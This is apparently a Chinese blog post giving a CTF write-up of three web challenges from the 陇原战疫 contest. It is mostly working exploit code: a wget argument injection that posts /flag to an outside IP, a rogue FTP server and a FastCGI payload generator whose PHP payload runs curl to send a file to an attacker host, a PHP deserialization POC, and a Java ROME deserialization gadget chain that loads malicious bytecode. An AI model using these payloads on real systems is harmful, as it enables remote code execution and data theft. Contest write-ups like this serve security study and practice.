陇原战疫web部分wp

最新推荐文章于 2022-03-11 10:38:20 发布

fmyyy1

最新推荐文章于 2022-03-11 10:38:20 发布

阅读量857

点赞数 1

分类专栏： ctfwp 文章标签： ctf

本文链接：https://blog.csdn.net/fmyyy1/article/details/121203284

版权

ctfwp 专栏收录该内容

11 篇文章 0 订阅

订阅专栏

web

CheckIN

下载源码，看到这里

这里调用wget，并且参数可控，可以直接外带数据，查看绑定路由

尝试访问/wget?argv=1

这里应该是出题人失误，无需登录可直接访问，利用–post-file参数直接外带文件

payload

/wget?argv=fmyyy&argv=--post-file&argv=/flag&argv=http://124.70.40.5:1234

服务器开个监听直接打就行

eaaasyphp

反序列化，有个file_put_content可以写文件，本地能打通但是题目写不进去，估计没有写的权限，看phpinfo的hint

payload

?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3Bs%3A7%3A%22phpinfo%22%3B%7D

看到有fpm服务，file_put_contents可控，尝试ftp被动模式打fpm

网上找个ftp恶意服务器

# -*- coding: utf-8 -*-
# @Time    : 2021/1/13 6:56 下午
# @Author  : tntaxin
# @File    : ftp_redirect.py
# @Software:

import socket
from urllib.parse import unquote

# 对gopherus生成的payload进行一次urldecode
payload = unquote("%01%01%1EJ%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1EJ%02%16%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH63%098PHP_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%0F8PHP_ADMIN_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%01%04%1EJ%00%00%00%00%01%05%1EJ%00%3F%00%00%3C%3Fphp%20system%28%27curl%20http%3A//124.70.40.5%3A1111/%20-F%20file%3D%40/flag%27%29%3B%3F%3E%01%05%1EJ%00%00%00%00")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器，用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    conn.send(b"200 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    if count == 1:
        conn.send(b"220 ready\n")
    else:
        conn.send(b"200 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
    if count == 1:
        conn.send(b"215 \n")
    else:
        conn.send(b"200 \n")

    print(conn.recv(20))  # SIZE /123\r\n  客户端询问文件/123的大小
    if count == 1:
        conn.send(b"213 3 \n")  
    else:
        conn.send(b"300 \n")

    print(conn.recv(20))  # EPSV\r\n'
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        conn.send(b"227 124,70,40,5,4,210\n")  # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
    else:
        conn.send(b"227 127,0,0,1,35,40\n")  # 端口计算规则：35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
    if count == 1:
        conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        conn.send(b"150 \n")
        print(conn.recv(20))
        exit()

    # 第一次连接是下载文件，需要告诉客户端下载已经结束
    if count == 1:
        conn.send(b"226 \n")
    conn.close()
    count += 1

生成payload的脚本

# -*- coding:utf-8 -*-
import base64
import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse
from urllib.parse import quote_plus

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])


def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)


def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')


def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
            + bchr(fcgi_type) \
            + bchr((requestid >> 8) & 0xFF) \
            + bchr(requestid & 0xFF) \
            + bchr((length >> 8) & 0xFF) \
            + bchr(length & 0xFF) \
            + bchr(0) \
            + bchr(0) \
            + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                + bchr((nLen >> 16) & 0xFF) \
                + bchr((nLen >> 8) & 0xFF) \
                + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                + bchr((vLen >> 16) & 0xFF) \
                + bchr((vLen >> 8) & 0xFF) \
                + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        # if not self.__connect():
        #     print('connect failure! please check your fasctcgi-server !!')
        #     return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
            + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
            + bchr(self.keepalive) \
            + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(
                FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(
            FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(
                FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(
            FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        return request

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


def generate_raw_payload(host, port, uri, query="", content="", PHP_VALUE="", PHP_ADMIN_VALUE=""):
    client = FastCGIClient(host, port, 3, 0)
    params = dict()
    documentRoot = "/"
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': PHP_VALUE,
        'PHP_ADMIN_VALUE': PHP_ADMIN_VALUE
    }
    return client.request(params, content)


def generate_ssrf_payload(host, port, uri, query="", content="", PHP_VALUE="", PHP_ADMIN_VALUE=""):
    raw_payload = generate_raw_payload(host, port, uri, query, content , PHP_VALUE , PHP_ADMIN_VALUE )
    request_ssrf = urlparse.quote(raw_payload)
    return "gopher://127.0.0.1:" + str(port) + "/_" + request_ssrf


def generate_base64_socks_payload(host, port, extension_path, urlencode=False):
    raw_payload = generate_raw_payload(host, port, extension_path)
    data = force_text(base64.b64encode(raw_payload))
    if urlencode:
        data = urlparse.quote(data)
    return data



def base64_encode(s: str, encoding='utf-8') -> str:
    from base64 import b64encode
    return b64encode(s).decode(encoding=encoding)


if __name__ == '__main__':
    # v = 'short_open_tag=1;\r\nhtml_errors=0;\r\nlog_errors=1;\r\nerror_reporting=2\r\nerror_log=/var/www/html/sie.php\r\nextension_dir="<?=eval($_REQUEST[a]);?>";\r\nextension="?>"'
    v = 'auto_prepend_file = php://input;\r\nallow_url_include = On' 
    raw_payload = generate_ssrf_payload(
        "127.0.0.1", "9000", "/var/www/html/index.php", content="<?php system('curl http://124.70.40.5:1111/ -F file=@/flag');?>", PHP_ADMIN_VALUE=v, PHP_VALUE=v)
    print(raw_payload)
    # print(base64_encode(raw_payload))

生成的payload(弹shell没成功，尝试curl外带数据)

%01%01%9FL%00%08%00%00%00%01%00%00%00%00%00%00%01%04%9FL%02%16%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH63%098PHP_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%0F8PHP_ADMIN_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%01%04%9FL%00%00%00%00%01%05%9FL%00%3F%00%00%3C%3Fphp%20system%28%27curl%20http%3A//124.70.40.5%3A1111/%20-F%20file%3D%40/flag%27%29%3B%3F%3E%01%05%9FL%00%00%00%00

放到恶意ftp服务器即可

vps运行ftp服务器

poc生成：

<?php

class Check {
}

class Esle {
}


class Hint {
}


class Bunny {
    public $filename;
    public $data;
    public function __construct(){
        $this->filename = "ftp://aaa@124.70.40.5:23/123";
        $this->data = file_get_contents("ftp://aaa@124.70.40.5:23/123");
    }
}

class Welcome {
    public $username;
    public function __construct(){
        $this->username = new Bunny();
    }
}

class Bypass {
    public $str4;
    public function __construct(){
        $this->str4 = new Welcome();
    }
}

// $hint = new Hint();
$arr = array(new Esle(),new Bypass());
echo urlencode(serialize($arr));

poc

a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Di%3A1%3BO%3A6%3A%22Bypass%22%3A1%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A28%3A%22ftp%3A%2F%2Faaa%40124.70.40.5%3A23%2F123%22%3Bs%3A4%3A%22data%22%3Bs%3A645%3A%22%01%01%1EJ%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1EJ%02%16%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0B%17SCRIPT_NAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0C%00QUERY_STRING%0B%17REQUEST_URI%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%0F%0ESERVER_SOFTWAREphp%2Ffcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%10CONTENT_TYPEapplication%2Ftext%0E%02CONTENT_LENGTH63%098PHP_VALUEauto_prepend_file+%3D+php%3A%2F%2Finput%3B%0D%0Aallow_url_include+%3D+On%0F8PHP_ADMIN_VALUEauto_prepend_file+%3D+php%3A%2F%2Finput%3B%0D%0Aallow_url_include+%3D+On%01%04%1EJ%00%00%00%00%01%05%1EJ%00%3F%00%00%3C%3Fphp+system%28%27curl+http%3A%2F%2F124.70.40.5%3A1111%2F+-F+file%3D%40%2Fflag%27%29%3B%3F%3E%01%05%1EJ%00%00%00%00%22%3B%7D%7D%7D%7D

EasyJaba

反编译一下

BlacklistObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
        if (this.blacklist.contains(cls.getName())) {
            throw new InvalidClassException("Unexpected serialized class", cls.getName());
        } else {
            return super.resolveClass(cls);
        }
    }
 Set blacklist = new HashSet() {
            {
                this.add("java.util.HashMap");
                this.add("javax.management.BadAttributeValueExpException");
            }
        };

不能用HashMap和BadAttributeValueExpException这两个，有remo的依赖

map换成Hashtable就行了

package lyzy.ctf.ezjaba.payload;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;

import javax.xml.transform.Templates;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Hashtable;


public class exp {
    public static void main(String[] args) throws Exception {

        // 生成包含恶意类字节码的 TemplatesImpl 类

        InputStream inputStream = evil.class.getResourceAsStream("evil.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);

        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = Reflections.getField(tmpl.getClass(),"_bytecodes");
        Reflections.setAccessible(bytecodes);
        Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][]{bytes});

        Field name=Reflections.getField(tmpl.getClass(),"_name");
        Reflections.setAccessible(name);
        Reflections.setFieldValue(tmpl,"_name","123123");
        Reflections.setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());

        // 使用 TemplatesImpl 初始化被包装类，使其 ToStringBean 也使用 TemplatesImpl 初始化
        ObjectBean delegate = new ObjectBean(Templates.class, tmpl);

        // 使用 ObjectBean 封装这个类，使其在调用 hashCode 时会调用 ObjectBean 的 toString
        // 先封装一个无害的类
        ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "Sie"));

        // 放入 Map 中
        Hashtable map = new Hashtable();
        map.put(root,"Sie");


        // put 到 map 之后再反射写进去，避免触发漏洞
        Field field = ObjectBean.class.getDeclaredField("_equalsBean");
        field.setAccessible(true);
        field.set(root, new EqualsBean(ObjectBean.class, delegate));
        System.out.print(Serialize.serialize(map));


    }
}

evil.class用spring通用回显的就行了，用下面这个文章里的就行了

https://yao-mou.gitee.io/2021/11/01/2021-%E4%B8%9C%E5%8D%8E%E6%9D%AF-WEB-WriteUp/

fmyyy1

关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
陇原战疫web部分wp

webCheckIN下载源码，看到这里这里调用wget，并且参数可控，可以直接外带数据，查看绑定路由尝试访问/wget?argv=1这里应该是出题人失误，无需登录可直接访问，利用–post-file参数直接外带文件payload/wget?argv=fmyyy&argv=--post-file&argv=/flag&argv=http://124.70.40.5:1234服务器开个监听直接打就行eaaasyphp反序列化，有个file_put_conten
复制链接

扫一扫

专栏目录